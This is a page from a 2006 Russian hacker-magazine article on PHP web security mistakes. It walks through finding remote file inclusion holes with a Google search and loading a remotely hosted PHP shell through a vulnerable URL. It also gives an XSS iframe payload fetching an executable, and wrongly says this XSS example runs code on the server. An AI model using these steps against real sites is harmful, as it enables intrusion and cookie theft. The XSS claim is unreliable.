Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #67, ИЮНЬ 2006 г.

конструктивные просчеты

ЕКАТЕРИНА СЕДОВА

Спецвыпуск: Хакер, номер #067, стр. 067-056-3


Заходим в Google. Пишем в строке поиска allinurl: index.php?page=http:// (можно включить фантазию и опробовать разные комбинации, вместо index.php — action.php, module.php и т.п., вместо page — url, uri или тот же module). Google выдаст некоторое количество ссылок, содержащих в своем URL’е строчку allinurl: index.php?page=http://. К сожалению, не все из них работают, так как хозяева многих сайтах опомнились и прикрыли лавочку, но что-нибудь дырявое наверняка осталось.

Итак, если ты открыл какую-нибудь ссылку, выданную Google’ом, и сайт не выдал ошибок, значит, дела идут не совсем плохо и имеет смысл хачить дальше. Пишешь программку на PHP (она будет выполнять функцию unix-шелла) либо пользуешься готовым шеллом. Сохраняешь в файле с расширением *.txt и выкладываешь на свой сайт: http://mysite.ru/shell.txt.

Затем заходишь на найденную страничку с багом и добавляешь к URL’у путь к нашему скрипту:

index.php?page=http://mysite.ru/shell.txt.

Должен открыться шелл с командной строкой. Что делать дальше? Что угодно, вплоть до получения прав рута. Как? В интернете масса информации на эту тему — вперед и с песней.

Однако главное — не то, что подобные «умные» и расчудесные скрипты все еще лежат в Сети, а то, что ты обязан постараться, чтобы твое творение не присоединилось к ним.

И еще. Всегда отключай register_globals! Чем уже класс php’шных переменных, тем лучше. Становится неприятно, если ты, к примеру, посылаешь переменную через форму методом POST, а кто-то переопределяет ее c помощью GET’a, обойдя клиентскую проверку (если такая имелась). Еще один пример: с помощью того же GET’а кто-то переопределяет какую-либо одноименную глобальную переменную твоей скриптины, от которой, может быть, зависит многое и даже больше.

cross site scripting (XSS)

Сейчас очень распространен класс атак под общим названием «межсайтовый скриптинг» (Cross Site Scripting) — XSS. Самое научно-популярное из его проявлений — кража и порча пользовательских cookies, аккаунтов и изменение пользовательских настроек.

Принцип работы межсайтового скриптинга основан на внедрении злонамеренного кода в HTML-код страницы, что приводит к tuj выполнению на машине жертвы. Если атакующий получит возможность вставить произвольный HTML-код, то он сможет управлять отображением web-страницы с правами самого сайта.

пример хss-атаки

Файл test.php принимает один параметр (name) и выводит его на страницу.

http://host.test/test.php?name = <iframe src=http://some.server/scripts/file.exe></iframe>

Получаем еще один простой способ выполнить на сервере произвольный код.

XSS-атакам особо подвержены web-блоги, форумы и гостевые книги, на многих из которых разрешено вводить js-код. Код же вполне способен забрать cookie в тот момент, когда пользователь спокойно просматривает страницу, и отправить ее злоумышленнику. Таким способом можно добраться и до cookie администратора. Так что, если ты разрабатываешь сайт, использующий cookie, не забывай, что существует возможность украсть cookie пользователей сайта, и принимай соответствующие меры — нужно защищать своих пользователей.

Назад на стр. 067-056-2  Содержание  Вперед на стр. 067-056-4